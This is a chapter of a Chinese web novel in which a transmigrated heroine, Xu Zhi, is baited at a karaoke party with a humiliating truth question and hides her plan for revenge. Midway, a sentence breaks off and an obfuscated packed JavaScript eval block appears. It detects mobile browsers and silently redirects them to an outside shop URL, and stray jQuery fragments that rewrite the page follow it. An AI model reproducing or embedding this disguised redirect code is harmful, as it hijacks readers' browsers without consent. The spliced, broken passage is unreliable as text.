许是今晚太过口渴,许知喝掉了一大杯橙汁,像一只不知餍足的小猫,缩在角落里舔尽了最后一滴。

    茶几上的空瓶见了底,她盯上不远处那瓶满的,伸手去够,指尖还未触到瓶身,对面一只大手便将橙汁捞了过去。

    许知抬眼,江迟不知什么时候从林露露身边溜了过来,正拄着那张好看得过分的脸,桃花眼微微眯着,饶有兴致地盯着她。

    “你跟宋怀景什么关系?”

    他开门见山,压低声音,像是憋了一晚上的好奇终于憋不住了,“楼下那一下,我可看得清清楚楚。”

    许知一愣,眨了眨眼睛,有些窘迫地别开脸:“没什么关系,就是不小心撞到了。”

    “骗谁呢。”

    江迟嗤了一声,懒洋洋靠在沙发背上,把橙汁在手里颠了颠,“宋怀景那人我认识十多年了,你见他扶过谁?”

    许知咬着唇不吭声,伸手去够橙汁。

    江迟倒是没再逗她,手一松,橙汁稳稳落进她掌心。她低头拧开瓶盖小口小口地抿着,耳朵尖那点绯红在昏暗的灯光里藏都藏不住。

    江迟看了她几秒,忽然笑了,像是发现了什么有趣的事,往后一靠没再追问。

    这一幕落在斜对面的祝苑眼里。

    她倾过身,嗓音轻柔得像在说一件无关紧要的小事:“露露,你家江迟在那边跟人聊什么呢?看着挺开心的。”

    林露露顺着她的目光看去,脸上的笑僵了一瞬。

    江迟正侧坐在许知旁边,两条长腿随意岔开,身体朝她的方向倾斜着,许知缩在角落抱着橙汁,整个人几乎被他笼在身侧的阴影里。

    林露露把酒杯往桌上一搁,深吸一口气,脸上又挂回了笑。

    她忽然拍了拍手,声音拔高了几分:“哎,光喝酒多没意思,咱们来玩国王游戏吧!”

    包厢里瞬间响应起来。

    李清年头一个跳起来翻抽屉找扑克牌,穆雪莱笑着推搡众人挪出空地。

    林露露一边张罗一边不动声色地看了一眼祝苑,祝苑端着酒杯微微颔首,两人之间那一瞬的眼神交换快得几乎没人注意。

    许知缩在角落里,静静看着这群人表演。

    她低头抿了一口橙汁,杯沿掩住唇边那抹极淡的弧度。

    游戏很快开始了,一圈人围坐抽牌定国王。

    前面几轮无非是喝交杯酒、说土味情话之类的无聊把戏,包厢里笑声一阵接一阵。

    第四轮,穆雪莱抽到了国王牌。

    她举起牌晃了晃,笑得眉眼弯弯,目光若有若无地扫过许知的方向:“那我选3号和7号,真心话大冒险吧。”

    许知低头看了一眼手中的牌:红心3。

    她不动声色地把牌扣在掌心,抬眼时已经换上了那副怯生生的表情,像是根本没意识到自己中了招。

    旁边李清年翻出7号牌嚷嚷着“是我是我”,众人起哄着把他按回座位,穆雪莱却笑着摆了摆手:“7号先等等,我点的是3号。”

    所有人的目光齐刷刷落在许知身上。

    “许知,到你了。”穆雪莱歪着头笑得无害,“真心话还是大冒险?”

    许知攥着牌的手指微微蜷紧了一下,声音又轻又软:“真心话吧。”

    穆雪莱和祝苑交换了一个眼神。

    祝苑端着酒杯,轻飘飘地开口,语气随意得像在聊天气:“那就简单问一下,许知你有喜欢的人吗?”

    许知垂下眼睫,沉默了几秒。耳根慢慢红了起来,她低着头,声音细若蚊蚋:“没有。”

    包厢里安静了一秒,然后像炸开了锅。

    梁谈第一个吹起口哨,李清年嚷着没意思,穆雪莱嘴角的笑意僵了一下,下意识看向祝苑。

    祝苑端酒杯的手指微微收紧了。

    林露露却笑盈盈地接过话头,嗓音甜得发腻:“许知,这游戏可不允许撒谎呀。上个学期我们明明捡到了你写的情书,倒也奇怪,齐衡今天怎么没来呢?”

    她装作说错话,被祝苑堵了一下就收了声,可语气中的挪揄已经精准地刺了出去。

    满屋的目光骤然变了味道,好奇的、同情的、看好戏的,齐刷刷落在许知陡然苍白的脸上。

    许知的心脏猛地抽紧。

    一股浓烈的情绪毫无征兆地涌上来——那是原主残留的东西,像深埋在骨头缝隙里的旧伤,被人用刀尖一挑就翻出了血。

    羞耻、恐惧、绝望,混着那天的烈日和操场上的哄笑声一起灌进她的胸口。

    她能清晰地看见原主站在人群中间的样子,脚底生了根,脸上一阵阵发烫,耳朵里嗡嗡响着所有人的笑,手里那封信被传了一圈又一圈,折痕处被人揉得发毛,墨迹洇开成模糊的污渍。

    那不是她。那些事情发生的时候,她还不在这具身体里。

    可这具身体记得。

    肌肉记得,骨头记得,每一次心跳都在重复原主当时的绞痛。

    许知咬紧了后槽牙,指尖死死掐进掌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941989|213946||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心,让那点锐痛把自己从那股情绪中拽出来。

    她穿越过来这几个月,以为自己已经适应了这副身体的过往,可到了这一刻才明白,原主的委屈和怨恨从来没散过,只是沉在底下等着,等着被谁掀开盖子。

    齐衡。那个被祝苑和林露露挑拨、当众羞辱原主后又甩手走人的男生。

    他今天没来,但她们提他的名字,只需要提一次,就能让原主最狼狈的记忆重新活过来。

    她们以为这样能让她当众失控。

    她们错了。

    许知在漫天的哄笑和目光中缓缓抬起眼,穿过人群,落在角落里那张冷峻疏淡的脸上。

    宋怀景坐在卡座深处,修长的手指捏着酒杯,霓虹灯光从他身后打过来,将那张脸衬得忽明忽暗。他的目光也落在她身上,神色淡得像隔了一层雾,看不出什么情绪,只是那双眼睛一直没移开,像在等什么,又像只是恰好看向这个方向。

    许知张了张嘴。

    江迟忽然伸手,一把将她手里的牌抽走了。

    他看了看牌面,嗤笑了一声,朝穆雪莱扬了扬下巴:“行了啊,差不多得了。真心话都答了,大冒险免了吧,人家姑娘脸皮薄。”

    他把牌往茶几上一丢,懒洋洋往后一靠,像只是随口打了个圆场,但那双桃花眼扫过穆雪莱时,眼底的玩味收了个干净。

    林露露的笑僵在脸上。

    许知垂着眼,睫毛轻轻颤了颤,攥着衣角的手指微微泛白。

    原主的情绪还在胸腔里翻涌,像涨潮时分的海浪一下一下拍打着堤岸,闷得她喉头发涩。

    她低头小声说了句谢谢,声音颤颤的,像一朵被风吹得摇晃的小白花。

    祝苑坐在斜对面,酒杯搁在膝上,指尖轻轻敲着杯壁,脸上还挂着得体的笑,眼底却一寸一寸地沉了下去。

    她在许知那张苍白无辜的脸上找不到半点破绽,没有难堪,没有慌乱,甚至没有恼怒。

    干干净净的一张脸,只剩下怯懦和感激,像一朵真正的、无害的小白花。

    可就是这种干干净净,让祝苑莫名觉得脊背发凉。

    许知缩回角落里,重新抱起那瓶橙汁,小口小口地喝着。

    原主的情绪还在,但已经被她压回了深处,像把一把躁动的火按进匣子里锁好。

    她有的是耐心。替原主做完这一场,让该还的人一样一样还回来。

    那双低垂的眼睛里倒映着满屋荒唐的灯光,亮得像淬了火的刃。